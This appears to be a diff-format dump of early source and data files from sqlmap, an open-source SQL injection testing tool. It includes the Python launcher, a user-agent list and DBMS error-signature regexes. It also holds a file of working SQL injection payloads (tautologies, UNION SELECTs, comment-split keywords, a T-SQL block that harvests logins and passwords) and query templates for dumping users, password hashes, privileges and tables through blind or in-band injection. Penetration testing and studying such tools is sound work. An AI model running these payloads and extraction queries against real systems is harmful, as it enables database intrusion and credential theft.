||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from lib.controller.controller import start
|
||||
from lib.core.common import banner
|
||||
from lib.core.common import setPaths
|
||||
from lib.core.common import weAreFrozen
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import exceptionsTuple
|
||||
from lib.core.exception import unhandledException
|
||||
from lib.core.option import init
|
||||
from lib.parse.cmdline import cmdLineParser
|
||||
|
||||
|
||||
def modulePath():
|
||||
"""
|
||||
This will get us the program's directory, even if we are frozen
|
||||
using py2exe
|
||||
"""
|
||||
|
||||
if weAreFrozen():
|
||||
return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding()))
|
||||
else:
|
||||
return os.path.dirname(os.path.realpath(__file__))
|
||||
|
||||
|
||||
def main():
|
||||
"""
|
||||
Main function of sqlmap when running from command line.
|
||||
"""
|
||||
|
||||
paths.SQLMAP_ROOT_PATH = modulePath()
|
||||
setPaths()
|
||||
|
||||
banner()
|
||||
cmdLineOptions = cmdLineParser()
|
||||
|
||||
print "[*] starting at: %s\n" % time.strftime("%X")
|
||||
|
||||
try:
|
||||
init(cmdLineOptions)
|
||||
|
||||
if conf.start:
|
||||
start()
|
||||
except exceptionsTuple, e:
|
||||
logger.error(e)
|
||||
except KeyboardInterrupt:
|
||||
print
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
except EOFError:
|
||||
print
|
||||
errMsg = "exit"
|
||||
logger.error(errMsg)
|
||||
except:
|
||||
errMsg = unhandledException()
|
||||
logger.error(errMsg)
|
||||
traceback.print_exc()
|
||||
|
||||
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
51
txt/fuzz_vectors.txt
Normal file
51
txt/fuzz_vectors.txt
Normal file
|
@ -0,0 +1,51 @@
|
|||
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
|
||||
||6
|
||||
'||'6
|
||||
(||6)
|
||||
' OR 1=1--
|
||||
OR 1=1
|
||||
' OR '1'='1
|
||||
; OR '1'='1'
|
||||
%22+or+isnull%281%2F0%29+%2F*
|
||||
%27+OR+%277659%27%3D%277659
|
||||
%22+or+isnull%281%2F0%29+%2F*
|
||||
%27+--+
|
||||
' or 1=1--
|
||||
" or 1=1--
|
||||
' or 1=1 /*
|
||||
or 1=1--
|
||||
' or 'a'='a
|
||||
" or "a"="a
|
||||
') or ('a'='a
|
||||
Admin' OR '
|
||||
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
|
||||
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
|
||||
' having 1=1--
|
||||
' having 1=1--
|
||||
' group by userid having 1=1--
|
||||
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
|
||||
' or 1 in (select @@version)--
|
||||
' union all select @@version--
|
||||
' OR 'unusual' = 'unusual'
|
||||
' OR 'something' = 'some'+'thing'
|
||||
' OR 'text' = N'text'
|
||||
' OR 'something' like 'some%'
|
||||
' OR 2 > 1
|
||||
' OR 'text' > 't'
|
||||
' OR 'whatever' in ('whatever')
|
||||
' OR 2 BETWEEN 1 and 3
|
||||
' or username like char(37);
|
||||
' union select * from users where login = char(114,111,111,116);
|
||||
' union select
|
||||
Password:*/=1--
|
||||
UNI/**/ON SEL/**/ECT
|
||||
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
|
||||
'; EXEC ('SEL' + 'ECT US' + 'ER')
|
||||
'/**/OR/**/1/**/=/**/1
|
||||
' or 1/*
|
||||
+or+isnull%281%2F0%29+%2F*
|
||||
%27+OR+%277659%27%3D%277659
|
||||
%22+or+isnull%281%2F0%29+%2F*
|
||||
%27+--+&password=
|
||||
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
|
||||
@var select @var as var into temp end --
|
166
txt/user-agents.txt
Normal file
166
txt/user-agents.txt
Normal file
|
@ -0,0 +1,166 @@
|
|||
Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)
|
||||
Baiduspider ( http://www.baidu.com/search/spider.htm)
|
||||
curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2
|
||||
GameSpyHTTP/1.0
|
||||
Gigabot/2.0
|
||||
Googlebot-Image/1.0
|
||||
Googlebot/2.1 (+http://www.google.com/bot.html)
|
||||
Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0
|
||||
Links (0.99pre14; CYGWIN_NT-5.0 1.5.16(0.128/4/2) i686; 80x25)
|
||||
Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)
|
||||
Links (2.1pre19; Linux 2.6.14-gentoo-r5 i686; x)
|
||||
Lynx/2.8.4rel.1 libwww-FM/2.14
|
||||
Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8a
|
||||
Microsoft Internet Explorer/4.0b1 (Windows 95)
|
||||
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)
|
||||
Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)
|
||||
Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
|
||||
Mozilla/2.0 (compatible; Ask Jeeves/Teoma)
|
||||
Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)
|
||||
Mozilla/3.0 (OS/2; U)
|
||||
Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)
|
||||
Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)
|
||||
Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-2.3)
|
||||
Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
|
||||
Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176x220)
|
||||
Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 240x320)
|
||||
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
|
||||
Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0 [en]
|
||||
Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)
|
||||
Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]
|
||||
Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)
|
||||
Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)
|
||||
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; ; Linux armv5tejl; U) Opera 8.02 [en_US] Maemo browser 0.4.31 N770/SU-18
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [en]
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [ja]
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile m.n) where
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Motorola VIP12xx)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Netscape/8.0.1
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)
|
||||
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
|
||||
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; Arcor 5.005; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
|
||||
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
|
||||
Mozilla/4.0 (compatible; MSIE 7.0b; Win32)
|
||||
Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
|
||||
Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)
|
||||
Mozilla/4.61 (Macintosh; I; PPC)
|
||||
Mozilla/4.61 [en] (OS/2; U)
|
||||
Mozilla/4.7 (compatible; OffByOne; Windows 2000)
|
||||
Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)
|
||||
Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)
|
||||
Mozilla/4.8 [en] (Windows NT 5.0; U)
|
||||
Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)
|
||||
Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)
|
||||
Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)
|
||||
Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)
|
||||
Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko)
|
||||
Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2)
|
||||
Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian)
|
||||
Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp)
|
||||
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3
|
||||
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6
|
||||
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.51
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312
|
||||
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1
|
||||
Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50
|
||||
Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0
|
||||
Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0
|
||||
Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5
|
||||
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9
|
||||
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
|
||||
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
|
||||
Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0
|
||||
Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4
|
||||
Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)
|
||||
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1)
|
||||
Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14
|
||||
Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox
|
||||
Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0
|
||||
msnbot/1.0 (+http://search.msn.com/msnbot.htm)
|
||||
OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer
|
||||
Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr)
|
||||
Opera/7.23 (Windows 98; U) [en]
|
||||
Opera/8.0 (X11; Linux i686; U; cs)
|
||||
Opera/8.00 (Windows NT 5.1; U; en)
|
||||
Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)
|
||||
Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr)
|
||||
Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr)
|
||||
Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1
|
||||
Opera/8.02 (Windows NT 5.1; U; en)
|
||||
Opera/8.5 (X11; Linux i686; U; cs)
|
||||
Opera/8.50 (Windows NT 5.1; U; en)
|
||||
Opera/8.51 (Windows NT 5.1; U; en)
|
||||
Opera/9.0 (Windows NT 5.0; U; en)
|
||||
Opera/9.00 (Macintosh; PPC Mac OS X; U; en)
|
||||
Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en)
|
||||
Opera/9.00 (Windows NT 5.1; U; en)
|
||||
Opera/9.00 (Windows NT 5.2; U; en)
|
||||
Opera/9.00 (Windows NT 6.0; U; en)
|
||||
Opera/9.01 (X11; Linux i686; U; en)
|
||||
Opera/9.02 (Windows NT 5.1; U; en)
|
||||
Scooter-3.2.EX
|
||||
W3C_Validator/1.432.2.10
|
||||
Wget/1.9
|
||||
Yahoo!-MMCrawler/3.x (mms dash mmcrawler dash support at yahoo dash inc dot com)
|
62
xml/errors.xml
Normal file
62
xml/errors.xml
Normal file
|
@ -0,0 +1,62 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<error regexp="SQL syntax.*MySQL"/>
|
||||
<error regexp="Warning.*mysql_.*"/>
|
||||
<error regexp="valid MySQL result"/>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<error regexp="PostgreSQL.*ERROR"/>
|
||||
<error regexp="Warning.*pg_.*"/>
|
||||
<error regexp="valid PostgreSQL result"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<error regexp="Driver.*SQL[\-\_\ ]*Server"/>
|
||||
<error regexp="OLE DB.*SQL Server"/>
|
||||
<error regexp="SQL Server.*Driver"/>
|
||||
<error regexp="Warning.*mssql_.*"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft Access -->
|
||||
<dbms value="Microsoft Access">
|
||||
<error regexp="Access.*Driver"/>
|
||||
<error regexp="Driver.*Access"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<error regexp="ORA-[0-9][0-9][0-9][0-9]"/>
|
||||
<error regexp="Oracle error"/>
|
||||
<error regexp="Oracle.*Driver"/>
|
||||
<error regexp="Warning.*oci_.*"/>
|
||||
<error regexp="Warning.*ora_.*"/>
|
||||
</dbms>
|
||||
|
||||
<!-- DB2 -->
|
||||
<dbms value="DB2">
|
||||
<error regexp="CLI Driver.*DB2"/>
|
||||
<error regexp="DB2 SQL error"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Informix -->
|
||||
<dbms value="Informix">
|
||||
<error regexp="Exception.*Informix"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Sybase -->
|
||||
<dbms value="Sybase">
|
||||
<error regexp="Sybase message"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Interbase -->
|
||||
<dbms value="Interbase">
|
||||
<error regexp="Dynamic SQL Error"/>
|
||||
</dbms>
|
||||
|
||||
</root>
|
3443
xml/mssql.xml
Normal file
3443
xml/mssql.xml
Normal file
File diff suppressed because it is too large
Load Diff
194
xml/queries.xml
Normal file
194
xml/queries.xml
Normal file
|
@ -0,0 +1,194 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<cast query="CAST(%s AS CHAR(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s, ' ')"/>
|
||||
<delimiter query=","/>
|
||||
<limit query="LIMIT %d, %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<substring query="MID((%s), %d, %d)"/>
|
||||
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
||||
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT user, password FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d, 1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES" condition="grantee" query2="SELECT user, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user" condition2="user"/>
|
||||
<!-- TODO: the LIKE clause only affects MySQL >= 5.0. No way so far to use [...] WHERE grantee='%s' in query and count attributes because the unescaper function will forge it as [...] WHERE grantee="CHAR(114,111,111,116)@CHAR(108,111,99,97,108,104,111,115,116)" -->
|
||||
<blind query="SELECT DISTINCT(privilege_type) FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' LIMIT %d, 1" query2="SELECT select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, reload_priv, shutdown_priv, process_priv, file_priv, grant_priv, references_priv, index_priv, alter_priv, show_db_priv, super_priv, create_tmp_table_priv, lock_tables_priv, execute_priv, repl_slave_priv, repl_client_priv, create_view_priv, show_view_priv, create_routine_priv, alter_routine_priv, create_user_priv FROM mysql.user WHERE user='%s' LIMIT %d, 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s'" count2="SELECT COUNT(*) FROM mysql.user WHERE user='%s'"/>
|
||||
</privileges>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM information_schema.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM information_schema.SCHEMATA LIMIT %d, 1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d, 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT table_schema, table_name FROM information_schema.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
|
||||
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d, 1" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s, ' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWNUM AS limit %s) WHERE limit"/>
|
||||
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
|
||||
<limitgroupstart/>
|
||||
